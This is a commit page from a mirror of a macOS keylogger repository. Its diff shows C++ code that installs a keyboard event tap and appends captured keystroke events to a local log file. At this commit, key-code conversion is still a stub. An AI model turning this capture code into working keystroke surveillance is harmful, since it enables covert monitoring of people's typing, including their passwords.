1
0
mirror of https://github.com/caseyscarborough/keylogger.git synced 2020-11-18 19:53:40 -08:00

Stupid IO.

This commit is contained in:
Casey Scarborough 2013-09-16 19:18:58 -04:00
parent b648c3ade9
commit fa84df45a4

View File

@ -7,7 +7,7 @@
using namespace std;
FILE *logfile = NULL;
CGEventRef CGEventCallback (CGEventTapProxy, CGEventType, CGEventRef, void *);
CGEventRef CGEventCallback(CGEventTapProxy, CGEventType, CGEventRef, void*);
const char *convertKeyCode(int);
int main(int argc, const char *argv[]) {
@ -27,22 +27,20 @@ int main(int argc, const char *argv[]) {
const char *logfileLocation = "./keystroke.log";
logfile = fopen(logfileLocation, "a");
fprintf(logfile, "Keylogging has begun.\n\n");
fprintf(logfile, "Test");
cout << logfileLocation << endl;
fflush(logfile);
CFRunLoopRun();
return 0;
}
CGEventRef CGEventCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
CGEventRef CGEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
if ((type != kCGEventKeyDown) && (type != kCGEventFlagsChanged)) {
return event;
}
CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
fprintf(logfile, "%s", convertKeyCode(keyCode));
return event;
}
const char *convertKeyCode(int keyCode) {
return "keypress";
}